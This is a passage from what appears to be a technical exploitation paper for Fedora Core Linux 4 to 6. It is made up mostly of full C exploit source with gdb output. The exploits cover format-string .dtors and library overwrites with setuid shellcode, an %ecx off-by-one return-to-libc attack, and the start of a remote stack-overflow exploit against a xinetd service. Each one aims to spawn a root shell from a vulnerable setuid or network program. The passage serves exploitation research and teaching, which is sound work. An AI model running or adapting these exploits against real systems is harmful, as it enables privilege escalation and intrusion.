{
printf(" [-] exploit end.\n\n");
exit(-1);
}
void end_exploit()
{
printf(" [-] exploit failed.\n\n");
exit(-1);
}
int make_shell()
{
FILE *fp;
if((fp=fopen("sh.c","w"))==NULL)
{
fprintf(stderr," [-] shell make failed.\n");
exit(-1);
}
fprintf(fp,
"#include <stdio.h>\n"
"int main(){\n"
" unlink(\"sh\");\n"
" unlink(\"sh.c\");\n"
" unlink(\"%s\");\n"
" setuid(geteuid());\n"
" setgid(getegid());\n"
" setreuid(geteuid(),geteuid());\n"
" setregid(getegid(),getegid());\n"
" execl(\"/bin/sh\",\"sh\",0);\n"
"}\n",__do_global_dtors_aux_ret_code);
fclose(fp);
system("gcc -o sh sh.c 2>/dev/null 1>/dev/null >/dev/null");
symlink("sh",__do_global_dtors_aux_ret_code);
return 0;
}
int main(int argc,char *argv[])
{
FILE *fp;
int ret=0;
(void)banrl();
if(argc<2)
{
fprintf(stdout," Usage: %s [target program] [os type num]\n"
" example> %s ./vuln 3 (default)\n\n"
" type num> 0: FC3.\n"
" 1: FC4.\n"
" 2: FC5.\n"
" 3: FC6. (default)\n\n",argv[0],argv[0]);
exit(-1);
}
if(argc==3)
{
type=atoi(argv[2]);
}
execv_addr=plat[type].execv_addr;
printf(" [+] execv address: %p\n",execv_addr);
signal(SIGINT,sig_exit);
signal(SIGTSTP,sig_exit);
if((ret=find_sflag_poc(argv[1]))==-1)
{
end_exploit();
}
if((ret=find_addr(argv[1]))==-1)
{
end_exploit();
}
if((ret=find_execute_command(argv[1]))==-1)
{
end_exploit();
}
(int)make_shell();
#define PATH ".:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:"
setenv("PATH",PATH,strlen(PATH));
while(1)
{
do_exploit(argv[1]);
/* exploit success check */
if((fp=fopen("sh","r"))==NULL)
{
fprintf(stdout," [*] exploit successfully.\n\n");
exit(-1);
}
else fclose(fp);
}
return 0;
}
int do_exploit(char *p)
{
int i=0;
int j=0;
int pid=0;
int t_sflag=sflag;
int __do_global_dtors_aux_head=0;
int __do_global_dtors_aux_tail=0;
int call_edx_next_head=0;
int call_edx_next_tail=0;
int execv_head=0;
int execv_tail=0;
unsigned char buf[1024];
unsigned char fmt[512];
memset(buf,0,sizeof(buf));
memset(fmt,0,sizeof(fmt));
__do_global_dtors_aux_head=(__do_global_dtors_aux_addr>>16)&0xffff;
__do_global_dtors_aux_tail=(__do_global_dtors_aux_addr>>0)&0xffff;
call_edx_next_head=(call_edx_next>>16)&0xffff;
call_edx_next_tail=(call_edx_next>>0)&0xffff;
execv_head=(execv_addr>>16)&0xffff;
execv_tail=(execv_addr>>0)&0xffff;
// make retloc
*(long *)&buf[i]=__dtors_end__+0; /* __do_global_dtors_aux() */
i+=4;
*(long *)&buf[i]=__dtors_end__+2;
i+=4;
*(long *)&buf[i]=__dtors_end__+4; /* __do_global_dtors_aux()+27 */
i+=4;
*(long *)&buf[i]=__dtors_end__+6;
i+=4;
*(long *)&buf[i]=__dtors_end__+8; /* execv() */
i+=4;
*(long *)&buf[i]=__dtors_end__+10;
i+=4;
// make format string
if(plat[type].overwrite_type==8)
{
/* __do_global_dtors_aux()+27 */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
call_edx_next_tail-strlen(buf),
t_sflag+0,
(0x10000+call_edx_next_head)-call_edx_next_tail,
t_sflag+1);
t_sflag+=2;
}
else if(plat[type].overwrite_type==12)
{
/* __do_global_dtors_aux() */
sprintf(fmt,"%%%ux%%%d$n%%%ux%%%d$n",
__do_global_dtors_aux_tail-strlen(buf),
t_sflag+0,
(0x10000+__do_global_dtors_aux_head)-__do_global_dtors_aux_tail,
t_sflag+1);
t_sflag+=2;
/* __do_global_dtors_aux()+27 */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
call_edx_next_tail-__do_global_dtors_aux_head,
t_sflag+0,
(0x10000+call_edx_next_head)-call_edx_next_tail,
t_sflag+1);
t_sflag+=2;
}
/* execv() */
sprintf(fmt+strlen(fmt),"%%%ux%%%d$n%%%ux%%%d$n",
execv_tail-call_edx_next_head,
t_sflag+0,
(0x10000+execv_head)-execv_tail,
t_sflag+1);
t_sflag+=2;
strcat(buf,fmt);
if((pid=fork())==0)
{
execl(p,p,buf,0);
}
wait(&pid);
return 0;
}
int find_addr(char *p)
{
char buf[256];
FILE *fp;
memset(buf,0,sizeof(buf));
sprintf(buf,"echo -n '0x'; "
"objdump -d %s | "
"grep \"__do_global_dtors_aux>:\" | "
"awk -F\" \" {'print $1'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] __do_global_dtors_aux address error\n");
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
__do_global_dtors_aux_addr=strtoul(buf,0,0);
memset(buf,0,sizeof(buf));
sprintf(buf,"echo -n '0x'; "
"objdump -d %s | "
"grep -A 1 \"*%%edx\" | "
"tail -1 | awk -F\" \" {'print $1'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] call *%edx next address error\n");
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
call_edx_next=strtoul(buf,0,0);
memset(buf,0,sizeof(buf));
sprintf(buf,"echo -n '0x'; "
"objdump -h %s | grep .dtors | "
"awk -F\" \" {'print $4'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] __dtors_end__ section error\n");
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
__dtors_end__=strtoul(buf,0,0);
__dtors_end__+=0x4;
printf(" [*] __do_global_dtors_aux(): %p\n"
" [*] __do_global_dtors_aux()+27: %p\n"
" [*] __dtors_end__ section: %p\n",
__do_global_dtors_aux_addr,call_edx_next,__dtors_end__);
return 0;
}
int find_sflag_poc(char *p)
{
int i;
char buf[256];
FILE *fp;
printf(" [+] find sflag number.\n");
for(i=0;i<200;i++)
{
memset(buf,0,sizeof(buf));
sprintf(buf,"%s AAAA.%%%d\\$x",p,i);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] %s execute error\n",p);
return -1;
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
if(strstr(buf,"AAAA.41414141"))
{
sflag=i;
printf(" [*] sflag: %d\n",sflag);
return 0;
}
}
return -1;
}
int find_execute_command(char *p)
{
unsigned char buf[256];
unsigned char code[16];
FILE *fp;
int j,z;
memset((char *)code,0,sizeof(code));
memset((char *)buf,0,sizeof(buf));
sprintf(buf,"objdump -d %s | "
"grep *%%edx -A 30 | "
"grep \\$0x0,%%eax -B 16 | "
"awk -F\"\\t\" {'print $2'} | "
"awk -F\" \" {'print $1'}",p);
if((fp=popen(buf,"r"))==NULL)
{
printf("error\n");
exit(-1);
}
j=z=0;
memset((char *)buf,0,sizeof(buf));
while(fgets(buf,sizeof(buf)-1,fp))
{
for(j=0;j<strlen(buf);j++)
{
if(buf[j]==0x20)
{
continue;
}
else if(buf[j]==0x0a||buf[j]==0x00)
{
break;
}
else {
memset((char *)code,0,sizeof(code));
sprintf(code,"0x%c%c",buf[j+0],buf[j+1]);
j+=2;
if(strtoul(code,0,0)==0x00)
{
break;
}
__do_global_dtors_aux_ret_code[z++]=strtoul(code,0,0);
}
}
}
pclose(fp);
}
/* eoc */
--
----[ 6.8 - library overwrite local format string exploit
Tested on F/C 5 and 6, we will try to attack through the course mentioned
at 4.6. target program's source code is below.
-- 0x82-library_terror/printf.c --
#include <stdio.h>
int main(int argc,char *argv[])
{
char ppp[4096];
strncpy(ppp,argv[1],sizeof(ppp)-1);
printf(ppp);
}
--
Makefile of exploit:
-- 0x82-library_terror/Makefile --
all:
$(CC) -o part_one part_one.c
$(CC) -o part_two part_two.c
$(CC) -o printf printf.c
@chmod 4755 printf
clean:
rm -f printf part_one part_two
--
Exploit is splited into part 1 and 2.
-- 0x82-library_terror/part_one.c --
/*
**
** Description: --
** Fedora Core Linux 4,5 based shellcode format string POC exploit
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
u_long __get_dtors(char *p);
u_long __get_library();
void prog_segv()
{
printf("Segfault!\n");
exit(-1);
}
/* Ctrl + C & Z interrupt */
void sigtstp_f()
{
exit(-1);
}
int find_now_stack(char *p)
{
int i;
FILE *fp;
char buf[256];
printf("find stack...\n");
fflush(stdout);
for(i=1;i<3000;i++)
{
printf("#%d\r",i);
memset(buf,0,sizeof(buf));
sprintf(buf,"%s \"\x82\x82\x82\x82\"#%%%d\\$x#",p,i);
fp=popen(buf,"r");
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
if(strstr(buf,"#82828282#"))
{
return i;
break;
}
}
return -1;
}
int main(int argc,char *argv[])
{
int a=0;
int i=0;
int j=0;
FILE *fp;
pid_t pid;
int out[2],in[2];
char buf[4096];
char align_buf[12];
int sflag=0;
(void)b();
signal(SIGSEGV,prog_segv);
signal(SIGTSTP,sigtstp_f);
signal(SIGINT,sigtstp_f);
if(argc<2)
{
printf("Usage: %s [target program path]\n",argv[0]);
exit(-1);
}
printf("Start exploit part #1\n");
sflag=find_now_stack(argv[1]);
if(sflag==-1)
{
printf("not found now stack\n");
exit(-1);
}
printf("gap: %d\n",sflag);
printf("find exploit arguments...\n");
for(a=2;a<=4;a++)
{
memset(align_buf,0,sizeof(align_buf));
for(i=0;i<a;i++)
{
align_buf[i]='A';
}
for(i=500;i<4000;i++)
{
if((i%100)==0)
{
printf("### ");
}
fflush(stdout);
memset(buf,0,sizeof(buf));
sprintf(buf,"%s .%%%d\\$x.",argv[1],i);
for(j=0;j<10;j++)
{
strcat(buf," \"\x82\x82\x82\" AAA");
strcat(buf," BBB CCC");
strcat(buf," DDD EEE");
strcat(buf," FFF GGG");
strcat(buf," HHH III");
strcat(buf," JJJ KKK");
strcat(buf," LLL MMM");
strcat(buf," NNN OOO");
strcat(buf," ");
strcat(buf,align_buf);
}
if(pipe(out)==-1)
{
exit(-1);
}
if(pipe(in)==-1)
{
exit(-1);
}
pid=fork();
switch(pid)
{
case -1:
break;
case 0:
close(out[0]);
close(in[1]);
dup2(out[1],STDOUT_FILENO);
dup2(in[0],STDIN_FILENO);
system(buf);
exit(-1);
break;
default:
close(out[1]);
close(in[0]);
memset(buf,0,sizeof(buf));
read(out[0],buf,sizeof(buf));
if(strstr(buf,".828282."))
{
printf("\n$-flag: %d, align: %d, ret $-flag: %d\n",i,a,sflag);
memset(buf,0,sizeof(buf));
sprintf(buf,"./part_two %s %d %d %p %p %d\n",argv[1],i,a,__get_dtors(argv[1])+4,__get_library()+4,sflag);
system(buf);
exit(-1);
}
close(out[0]);
close(in[1]);
break;
}
wait(&pid);
}
}
}
u_long __get_library()
{
char st_exec[256];
FILE *fp;
char fd_addr[16];
memset((char *)st_exec,0,sizeof(st_exec));
snprintf(st_exec,sizeof(st_exec)-1,
"cat /proc/self/maps"
" | grep rwxp | grep -v lib"
" | tail -1 | awk -F\"-\""
" {'print \"0x\"$1'}");
if((fp=(FILE *)popen(st_exec,"r"))==NULL)
{
perror(" [-] popen() error");
exit(-1);
}
memset((char *)fd_addr,0,sizeof(fd_addr));
fgets(fd_addr,sizeof(fd_addr)-1,fp);
pclose(fp);
return(strtoul(fd_addr,NULL,sizeof(fd_addr)));
}
u_long __get_dtors(char *p)
{
char st_exec[256];
FILE *fp;
char fd_addr[16];
memset((char *)st_exec,0,sizeof(st_exec));
snprintf(st_exec,sizeof(st_exec)-1,
// objdump -h ./vuln | grep .dtors
"objdump -h %s"
" | grep .dtors"
" | awk -F\" \""
" '{print $4}'",p);
if((fp=(FILE *)popen(st_exec,"r"))==NULL)
{
perror(" [-] popen() error");
exit(-1);
}
memset((char *)fd_addr,0,sizeof(fd_addr));
fgets(fd_addr,sizeof(fd_addr)-1,fp);
pclose(fp);
return(strtoul(fd_addr,NULL,sizeof(fd_addr)));
}
void b()
{
printf("--\nFedora Core Linux 4,5 based shellcode format string POC exploit\n");
printf("exploit by \"you dong-hun\"(Xpl017Elz), <[email protected]>.\n");
printf("--\n\n");
}
/* eoc */
--
-- 0x82-library_terror/part_two.c --
/*
**
** Description: --
** Fedora Core Linux 4,5 based shellcode format string POC exploit
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <[email protected]>.
** My World: http://x82.inetcop.org
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
/* Ctrl + C & Z interrupt */
void sigtstp_f()
{
exit(-1);
}
int main(int argc,char *argv[])
{
long shellcode[]={
0xc031,0x17b0, /* setuid(0); */
0xdb31,0x80cd,
0xc031,0x6850, /* 24byte shellcode */
0x2f6e,0x6873,
0x2f68,0x622f,
0x8969,0x99e3,
0x5352,0xe189,
0x0bb0,0x80cd,
0x0000};
int i;
int j;
int sflag=0;
char buf[0xffff];
char align_buf[12];
char atk_head[12];
char args_addr[4096];
unsigned long dtors_addr;
unsigned long libc_addr;
int retaddr_f,retaddr_s;
unsigned char libc_buf[12];
signal(SIGTSTP,sigtstp_f);
signal(SIGINT,sigtstp_f);
if(argc<7)
{
printf("Usage: %s [target path] [$-flag] [pad size] [.dtors] [library] [ret sflag]\n",argv[0]);
exit(-1);
}
printf("Start exploit part #2\n");
printf("Input Any key...");
fflush(stdout);
getchar();
j=atoi(argv[2]); /* $-flag */
memset(align_buf,0,sizeof(align_buf));
for(i=0;i<atoi(argv[3]);i++)
{
align_buf[i]='A'; /* pad */
}
dtors_addr=strtoul(argv[4],0,0);
libc_addr=strtoul(argv[5],0,0);
retaddr_f=((libc_addr&0xffff0000)>>16);
retaddr_s=((libc_addr&0x0000ffff)>>0);
memset(libc_buf,0,sizeof(libc_buf));
*(long *)&libc_buf[0]=libc_addr;
sflag=atoi(argv[6]);
printf("dtors addr: %p\n",dtors_addr);
printf("libc addr: %p\n",libc_addr);
while(1)
{
memset(buf,0,sizeof(buf));
memset(atk_head,0,sizeof(atk_head));
memset(args_addr,0,sizeof(args_addr));
i=0;
*(long *)&atk_head[i]=dtors_addr;
i+=4;
*(long *)&atk_head[i]=dtors_addr+2;
i+=4;
sprintf(args_addr,
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"%c%c%c\""
" \"%c%c%c\" \"\\%c%c%c\"",
(libc_buf[0]+0),libc_buf[1],libc_buf[2],
(libc_buf[0]+2),libc_buf[1],libc_buf[2],
(libc_buf[0]+4),libc_buf[1],libc_buf[2],
(libc_buf[0]+6),libc_buf[1],libc_buf[2],
(libc_buf[0]+8),libc_buf[1],libc_buf[2],
(libc_buf[0]+10),libc_buf[1],libc_buf[2],
(libc_buf[0]+12),libc_buf[1],libc_buf[2],
(libc_buf[0]+14),libc_buf[1],libc_buf[2],
(libc_buf[0]+16),libc_buf[1],libc_buf[2],
(libc_buf[0]+18),libc_buf[1],libc_buf[2],
(libc_buf[0]+20),libc_buf[1],libc_buf[2],
(libc_buf[0]+22),libc_buf[1],libc_buf[2],
(libc_buf[0]+24),libc_buf[1],libc_buf[2],
(libc_buf[0]+26),libc_buf[1],libc_buf[2],
(libc_buf[0]+28),libc_buf[1],libc_buf[2],
(libc_buf[0]+30),libc_buf[1],libc_buf[2]);
sprintf(buf,"%s" /* argv[1] */
" %s" /* dtors address */
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
"%%%ux%%%d\\$n%%%ux%%%d\\$n"
#ifdef DEBUG_STR
"#%%%d\\$s#" /* shellcode check */
"%%5\\$s.%%6\\$s." /* dtors address check */
#endif
,argv[1],
atk_head,
(shellcode[0]-strlen(atk_head)),j+0,
(0x10000+shellcode[1])-shellcode[0],j+1,
(0x10000+shellcode[2])-shellcode[1],j+2,
(0x10000+shellcode[3])-shellcode[2],j+3,
(0x10000+shellcode[4])-shellcode[3],j+4,
(0x10000+shellcode[5])-shellcode[4],j+5,
(0x10000+shellcode[6])-shellcode[5],j+6,
(0x10000+shellcode[7])-shellcode[6],j+7,
(0x10000+shellcode[8])-shellcode[7],j+8,
(0x10000+shellcode[9])-shellcode[8],j+9,
(0x10000+shellcode[10])-shellcode[9],j+10,
(0x10000+shellcode[11])-shellcode[10],j+11,
(0x10000+shellcode[12])-shellcode[11],j+12,
(0x10000+shellcode[13])-shellcode[12],j+13,
(0x10000+shellcode[14])-shellcode[13],j+14,
(0x10000+shellcode[15])-shellcode[14],j+15,
(0x10000+retaddr_s)-shellcode[15],sflag+0,
(0x10000+retaddr_f)-retaddr_s,sflag+1,j);
for(i=0;i<10;i++)
{
strcat(buf,args_addr); /* library address */
strcat(buf," ");
strcat(buf,align_buf); /* pad */
}
system(buf);
fflush(stdout);
}
}
--
----[ 6.9 - %ecx off-by-one exploit and the test exploit
Before using %ecx off-by-one exploit on this chapter, you should study this
technique well and adapt it to your own system. This is tested on F/C 6 and
target program's code is blow.
-- strcpy.c --
int main(int argc,char *argv[]){
char buf[256];
strcpy(buf,argv[1]);
}
--
Test exploit code:
-- 0x82-ecx_offbyone_test_ex.c --
/* test exploit */
int main()
{
char *environs[]={
"A01", /* 1 */
"A02", /* 2 */
"A03", /* 3 */
"A04", /* 4 */
"A05", /* 5 */
"A06", /* 6 */
"A07", /* 7 */
"A08", /* 8 */
"A09", /* 9 */
"A10", /* 10 */
"A11", /* 11 */
"A12", /* 12 */
"A13", /* 13 */
"A14", /* 14 */
"A15", /* 15 */
"A16", /* 16 */
"A17", /* 17 */
"A18", /* 18 */
"A19", /* 19 */
"A20", /* 20 */
"A21", /* 21 */
"A22", /* 22 */
"A23", /* 23 */
"A24", /* 24 */
"A25", /* 25 */
"A26", /* 26 */
"A27", /* 27 */
"A28", /* 28 */
"A29", /* 29 */
"A30", /* 30 */
0};
char *arguments[]={
"./strcpy",
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x82\x83\x04\x08", /* 0x08048382 <main+46>: main() epilog */
0};
execve("./strcpy",arguments,environs);
}
--
In the exploit code, I have assigned 30 environment variables for the test and
filled 252 of local variables with ret code. Call ret for 63 times and move
%esp register by 4bytes. Finally, insert epilog address of main() to make
epilog happen again. let's test and complete the exploit.
--
[root@localhost main_based]# gcc -o strcpy strcpy.c
strcpy.c: In function ?ain?
strcpy.c:3: warning: incompatible implicit declaration of built-in function ?trcpy?
[root@localhost main_based]# gdb strcpy -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x08048354 <main+0>: lea 0x4(%esp),%ecx
0x08048358 <main+4>: and $0xfffffff0,%esp
0x0804835b <main+7>: pushl 0xfffffffc(%ecx)
0x0804835e <main+10>: push %ebp
0x0804835f <main+11>: mov %esp,%ebp
0x08048361 <main+13>: push %ecx
0x08048362 <main+14>: sub $0x114,%esp
0x08048368 <main+20>: mov 0x4(%ecx),%eax
0x0804836b <main+23>: add $0x4,%eax
0x0804836e <main+26>: mov (%eax),%eax
0x08048370 <main+28>: mov %eax,0x4(%esp)
0x08048374 <main+32>: lea 0xfffffefc(%ebp),%eax
0x0804837a <main+38>: mov %eax,(%esp)
0x0804837d <main+41>: call 0x8048298 <strcpy@plt>
0x08048382 <main+46>: add $0x114,%esp ; start of main() epilog
0x08048388 <main+52>: pop %ecx
0x08048389 <main+53>: pop %ebp
0x0804838a <main+54>: lea 0xfffffffc(%ecx),%esp
0x0804838d <main+57>: ret
0x0804838e <main+58>: nop
0x0804838f <main+59>: nop
End of assembler dump.
(gdb) q
[root@localhost main_based]# gcc -o test test.c ; testing test exploit
[root@localhost main_based]# gdb test -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
Starting program: /tmp/main_based/test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x00363241 in ?? () from /lib/libc.so.6 ; executed A26 as a return address
(gdb) x $esp
0xbff9afe3: 0x00373241
(gdb) x/s $esp
0xbff9afe3: "A27"
(gdb) x/s $ecx
0xbff9afe3: "A27"
(gdb) q
The program is running. Exit anyway? (y or n) y
[root@localhost main_based]#
--
As you can see above, 27th environment variable is popped into %ecx register.
%esp register is at %ecx - 4 , so it is 26th environment variable.
If ret code (pop %eip) happen now, return address would be 0x00263241, "A26".
It is time to complete the exploit code base on the result above.
-- 0x82-ecx_offbyone_strcpy.c --
/* 0x82-ecx_offbyone_strcpy.c */
int main()
{
// main() epilog: 0x08048382
// main() ret: 0x0804838d
char *environs[]={
"A01", /* 1 */
"A02", /* 2 */
"A03", /* 3 */
"A04", /* 4 */
"A05", /* 5 */
"A06", /* 6 */
"A07", /* 7 */
"A08", /* 8 */
"A09", /* 9 */
"A10", /* 10 */
"A11", /* 11 */
"A12", /* 12 */
"A13", /* 13 */
"A14", /* 14 */
"A15", /* 15 */
"A16", /* 16 */
"A17", /* 17 */
"A18", /* 18 */
"A19", /* 19 */
"A20", /* 20 */
"A21", /* 21 */
"A22", /* 22 */
"A23", /* 23 */
"A24", /* 24 */
"A25", /* 25 */
"\xff\xdb\x19\x00", /* 26 */ // A26: 0x19dda0 execve();
"A27", /* 27 */
"\xa2\xf2\x22\x00", /* 28 */ // A28: 0x22f2a2
"\x00", /* 29 */ // A29: 0x00000000
"\x00", /* 30 */
"\x00", /* 31 */
"\x00", /* 32 */
"\x00", /* 33 */ // A33: 0x00000000
"\x00", /* 34 */
"\x00", /* 35 */
"\x00", /* 36 */
0};
char *arguments[]={
"./strcpy",
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x8d\x83\x04\x08\x8d\x83\x04\x08\x8d\x83\x04\x08"
"\x82\x83\x04\x08", /* main() epilog */
0};
execve("./strcpy",arguments,environs);
}
--
Now that, 26th environment variable is a return address, I entered the address
of exeve() into this variable. 27th will be the address of %ecx and arguments
of execve() will be saved since 28th variable. 28th variable will be the
first argument of execve() and it has to be an address somewhere in library
whose value is string "sh".
--
[root@localhost main_based]# gdb strcpy -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) br *main
Breakpoint 1 at 0x8048354
(gdb) r test
Starting program: /tmp/main_based/strcpy test
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x08048354 in main ()
(gdb) x execve
0x19dc00 <execve>: 0x8908ec83
(gdb) x 0x22f2a2
0x22f2a2 <_nl_default_dirname+90>: 0x65006873
(gdb) x/s 0x22f2a2
0x22f2a2 <_nl_default_dirname+90>: "sh" ; address of "sh" when execve() function address is 0x19dc00
(gdb) q
The program is running. Exit anyway? (y or n) y
[root@localhost main_based]#
--
There will be 4bytes of null from 29th to 32nd variable as the second
argument of exeve() function. Because it is impossible to enter continuous
4bytes value at once on environment variable, I entered 1byte 4 times.
The null value for the third argument is same. It will be save from 33rd to
36th variable. You can see these arguments when you debug the exploit.
--
[root@localhost main_based]# gdb 0x82-x_strcpy -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r
... (repeat untill execve() function is called)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/main_based/0x82-x_strcpy
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x00373241 in ?? ()
(gdb) x $esp
0xbfb96fe7: 0x0022f2a2 ; first argument of execve()
(gdb)
0xbfb96feb: 0x00000000 ; second argument of execve()
(gdb)
0xbfb96fef: 0x00000000 ; third argument of execve()
(gdb)
making of execve(): execve(0x0022f2a2,0x00000000,0x00000000);
--
The first argument of exeve() is string "sh", and the second and the third
are filled with null as we expected. Make "sh" program and try an attack,
then we can get a shell eventually.
-- sh.c --
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash","bash",0);
}
--
----[ 6.10 - string copy plt + do_system() __DTOR_END__ overwrite remote stack overflow exploit
This code is tested on F/C 6. It works perfect on F/C 5 and 6. Below is the
source of target program.
-- rvuln.c --
#include <stdio.h>
int main()
{
f("0x82");
}
int f(char *str){
char buf1[256];
char buf2[8];
gets(buf1);
strcpy(buf2,str);
}
--
rvuln program uses strcpy() to use plt. I will try to take advantage of
gets() function for the stack overflow. Compile the program and make it tfido
daemon service by setting xinetd. Below is exploit code made for easy debug.
-- 0x82-remote_x_strcpy.c --
/* 0x82-remote_x_strcpy.c */
#include <stdio.h>
#include <unistd.h>
#define STRCPY 0x080482c8
#define ESP_MOVE 0x08048485
#define DO_DTORS_AUX 0x08048330
#define DTOR_END 0x080494c8
//#define DO_SYSTEM 0x001457d0
//#define SH_STRING 0x00006873
#define DO_SYSTEM_d0 0x080480b8
#define DO_SYSTEM_57 0x080483f3
#define DO_SYSTEM_14 0x08048060
#define SH_STRING_73 0x080481f4
#define SH_STRING_68 0x0804829e
#define NULL_BYTE_00 0x08048066
struct string_copy {
unsigned long func_plt;
unsigned long esp_move;
unsigned long param1;
unsigned long param2;
};
struct funcs {
struct string_copy func1_do_system;
struct string_copy func2_do_system;
struct string_copy func3_do_system;
struct string_copy func4_do_system;
struct string_copy func1_sh_string;
struct string_copy func2_sh_string;
struct string_copy func3_sh_string;
struct string_copy func4_sh_string;
unsigned long __do_global_dtors_aux_func;
};
int main()
{
char exploit_buf[260+sizeof(struct funcs)+8+4];
struct funcs do_ex;
int i=0;
memset(exploit_buf,0,sizeof(exploit_buf));
memset(exploit_buf,0x82,260);
/* do_system part */
do_ex.func1_do_system.func_plt=STRCPY;
do_ex.func1_do_system.esp_move=ESP_MOVE;
do_ex.func1_do_system.param1=(DTOR_END+i++);
